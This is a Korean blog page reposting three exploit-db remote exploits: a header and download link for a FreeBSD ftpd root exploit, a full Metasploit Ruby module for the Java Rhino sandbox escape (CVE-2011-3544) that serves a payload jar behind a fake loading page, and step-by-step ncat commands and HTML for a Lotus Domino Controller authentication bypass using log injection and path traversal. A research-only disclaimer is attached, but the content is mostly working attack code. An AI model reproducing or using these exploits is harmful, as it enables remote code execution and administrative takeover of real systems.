작은여우와 암행어사

[Remote Exploits] FreeBSD ftpd and ProFTPd on FreeBSD Remote r00t Exploit

위험한_친구들/깍쟁이_서버양 2011. 12. 2. 08:35

/* KCOPE2011 - x86/amd64 bsd ftpd remote root exploit

*

* KINGCOPE CONFIDENTIAL - SOURCE MATERIALS

*

* This is unpublished proprietary source code of KINGCOPE Security.

*

* (C) COPYRIGHT KINGCOPE Security, 2011

*

*****************************************************************************

* bug found by Kingcope

* thanks to noone except alex whose damn down

*

* tested against: FreeBSD-8.2,8.1,7.2,7.1 i386;

* FreeBSD-6.3 i386

* FreeBSD-5.5,5.2 i386

* FreeBSD-8.2 amd64

* FreeBSD-7.3, 7.0 amd64

* FreeBSD-6.4, 6.2 amd64

*

*/

I m better than TESO 7350 see attached.

I aint mad at cha

and dont forget that the scene is fucked.

and that the public scene is fucked too, kind of.

youse a down ass bitch and I aint mad at cha.

thanks lsd you are the only one NORMAL.

hear the track before you see the code:

http://www.youtube.com/watch?v=krxu9_dRUwQ

BTW my box (isowarez.de) got hacked so expect me in a zine :>

/Signed "the awesome" Kingcope

Code:

http://www.exploit-db.com/sploits/7350roaringbeastv3.tar

7350roaringbeastv3.tar

[출처] www.exploit-db.com

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

저작자표시 비영리 변경금지

'위험한_친구들 > 깍쟁이_서버양' 카테고리의 다른 글

[Remote Exploits] CoDeSys SCADA v2.3 Remote Exploit (0)	2011.12.02
[Remote Exploits] Serv-U FTP Server Jail Break 0day (0)	2011.12.02
[Remote Exploits] IBM Lotus Domino Controller auth. bypass (0)	2011.12.01

Posted by bitfox

[Remote Exploits] Java Applet Rhino Script Engine Remote Code Execution

Hello_World!/오라절친_JSP 2011. 12. 1. 08:57

## 

# This file is part of the Metasploit Framework and may be subject to 

# redistribution and commercial restrictions. Please see the Metasploit 

# Framework web site for more information on licensing and terms of use. 

# http://metasploit.com/framework/ 

## 

require 'msf/core'

require 'rex'

class Metasploit3 < Msf::Exploit::Remote 

    Rank = ExcellentRanking 

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize( info = {} ) 

        super( update_info( info, 

            'Name'          => 'Java Applet Rhino Script Engine Remote Code Execution', 

            'Description'   => %q{ 

                    This module exploits a vulnerability in the Rhino Script Engine that 

                can be used by a Java Applet to run arbitrary Java code outside of 

                the sandbox.  The vulnerability affects version 7 and version 6 update 

                27 and earlier, and should work on any browser that supports Java 

                (for example: IE, Firefox, Google Chrome, etc) 

            }, 

            'License'       => MSF_LICENSE, 

            'Author'        => 

                [ 

                    'Michael Schierl', # Discovery 

                    'juan vazquez',    # metasploit module 

                    'Edward D. Teach <teach@consortium-of-pwners.net>', 

                    'sinn3r'

                ], 

            'References'    => 

                [ 

                    [ 'CVE', '2011-3544' ], 

                    [ 'OSVDB', '76500' ], # 76500 and 76499 have contents mixed 

                    [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-305/' ], 

                    [ 'URL', 'http://schierlm.users.sourceforge.net/CVE-2011-3544.html' ], 

                ], 

            'Platform'      => [ 'java', 'win', 'linux' ], 

            'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 

            'Targets'       => 

                [ 

                    [ 'Generic (Java Payload)', 

                        { 

                            'Arch' => ARCH_JAVA, 

                        } 

                    ], 

                    [ 'Windows Universal', 

                        { 

                            'Arch' => ARCH_X86, 

                            'Platform' => 'win'

                        } 

                    ], 

                    [ 'Apple OSX', 

                        { 

                            'ARCH' => ARCH_X86, 

                            'Platform' => 'osx'

                        } 

                    ], 

                    [ 'Linux x86', 

                        { 

                            'Arch' => ARCH_X86, 

                            'Platform' => 'linux'

                        } 

                    ] 

                ], 

            'DefaultTarget'  => 0, 

            'DisclosureDate' => 'Oct 18 2011'

            )) 

    end

    def on_request_uri( cli, request ) 

        if not request.uri.match(/\.jar$/i) 

            if not request.uri.match(/\/$/) 

                send_redirect(cli, get_resource() + '/', '') 

                return

            end

            print_status("#{self.name} handling request from #{cli.peerhost}:#{cli.peerport}...") 

            send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) 

            return

        end

        paths = [ 

            [ "Exploit.class" ] 

        ] 

        p = regenerate_payload(cli) 

        jar  = p.encoded_jar 

        paths.each do |path| 

            1.upto(path.length - 1) do |idx| 

                full = path[0,idx].join("/") + "/"

                if !(jar.entries.map{|e|e.name}.include?(full)) 

                    jar.add_file(full, '') 

                end

            end

            fd = File.open(File.join( Msf::Config.install_root, "data", "exploits", "cve-2011-3544", path ), "rb") 

            data = fd.read(fd.stat.size) 

            jar.add_file(path.join("/"), data) 

            fd.close 

        end

        print_status( "Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}..." ) 

        send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) 

        handler( cli ) 

    end

    def generate_html 

        html  = "<html><head><title>Loading, Please Wait...</title></head>"

        html += "<body><center><p>Loading, Please Wait...</p></center>"

        html += "<applet archive=\"Exploit.jar\" code=\"Exploit.class\" width=\"1\" height=\"1\">"

        html += "</applet></body></html>"

        return html 

    end

[출처] exploit-db

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

저작자표시 비영리 변경금지

'Hello_World! > 오라절친_JSP' 카테고리의 다른 글

관리자 페이지 IP 제한 (0)	2011.08.11
Hello World in JSP (0)	2011.08.11

Posted by bitfox

[Remote Exploits] IBM Lotus Domino Controller auth. bypass

위험한_친구들/깍쟁이_서버양 2011. 12. 1. 08:50

# Exploit Title: IBM Lotus Domino Controller auth. bypass 

# Date:30/11/2011 

# Author: Alexey Sintsov 

# Software Link: http://www.ibm.com/ 

# Version:8.5.3/8.5.2 FP3 (0day)  

# Tested on: Windows 7 / Windows 2008 

# CVE : CVE-2011-1519 

Application: IBM Lotus Domino Controller 

Versions Affected: <=8.5.2 FP3, <=8.5.3 

Manager 4.0 prior to Update 4 

(0day)  

Vendor URL: http://ibm.com 

Bug: own XML parser   

CVE: CVE-2011-1519 

CVSS2: 9.0 

Exploits: YES 

Reported:2010-09-23 via ZDI 

Date of Public Advisory: 2011-03-22 

Authors: Alexey Sintsov 

Digital Security Research Group [DSecRG] (research [at] dsecrg [dot]com) 

This bug was found by Patrik Karlsson and sold to ZDI. IBM make fix for this bug, 

but not enough. So this sploit can make auth. bypass in Lotus Domino Controller even with patch from IBM. So still 0day. 

Details you can read there: http://dsecrg.com/pages/pub/show.php?id=41 

EXPLOIT: 

1. Make port-fwd from 127.0.0.1:2050 to REMOTE_TARGET:2050 

2. Inject XML into IIS log file (for an example) 

ncat targethost 49152 

GET /<user HTTP/1.0\r\n\r\n 

ncat targethost 49152 

GET /user="admin"cookie="pass"address="http://twitter/asintsov" HTTP/1.0\r\n\r\n 

(\r\n\r\n) ENTER two times 8) 

3.Run this from local web-server (dconsole.jar - IBM Lotus Domino Console applet) 

<html> 

<body> 

<script> 

function onLoadConsole() 

{ 

alert("Connected"); 

} 

</script> 

<applet name = "DominoConsole"

code = "lotus.domino.console.DominoConsoleApplet.class"

codebase = "http://127.0.0.1/domjava/"

archive = "dconsole.jar"

width = "100%"

height = "99%"

> 

<PARAM NAME="debug" VALUE="true"> 

<PARAM NAME="port" VALUE="2050"> 

<PARAM NAME="useraddress" VALUE="http://twitter/asintsov"> 

<PARAM NAME="username" VALUE="admin"> 

<PARAM NAME="cookiefile" VALUE="\..\..\..\windows\system32\logfiles\httperr\httperr1.log"> 

<PARAM NAME="cookievalue" VALUE="pass"> 

<PARAM NAME="onLoad" VALUE="onLoadConsole"> 

</applet> 

</body> 

</html> 

[출처] exploit-db

[주의] 본 자료는 연구용 및 학습 자료로 사용하길 바라며, 악의적인 사용시 사용자 본인에게 책임이 있음을 명시합니다.

저작자표시 비영리 변경금지

'위험한_친구들 > 깍쟁이_서버양' 카테고리의 다른 글

[Remote Exploits] CoDeSys SCADA v2.3 Remote Exploit (0)	2011.12.02
[Remote Exploits] Serv-U FTP Server Jail Break 0day (0)	2011.12.02
[Remote Exploits] FreeBSD ftpd and ProFTPd on FreeBSD Remote r00t Exploit (0)	2011.12.02

Posted by bitfox

◀ 이전페이지 1 ··· 10 11 12 13 14 15 16 ··· 64 다음페이지 ▶

暗行御史

[Remote Exploits] FreeBSD ftpd and ProFTPd on FreeBSD Remote r00t Exploit

'위험한_친구들 > 깍쟁이_서버양' 카테고리의 다른 글

[Remote Exploits] Java Applet Rhino Script Engine Remote Code Execution

'Hello_World! > 오라절친_JSP' 카테고리의 다른 글

[Remote Exploits] IBM Lotus Domino Controller auth. bypass

'위험한_친구들 > 깍쟁이_서버양' 카테고리의 다른 글

최근에 올라온 글

공지사항

글 보관함

최근에 받은 트랙백

카테고리

달력

링크

티스토리툴바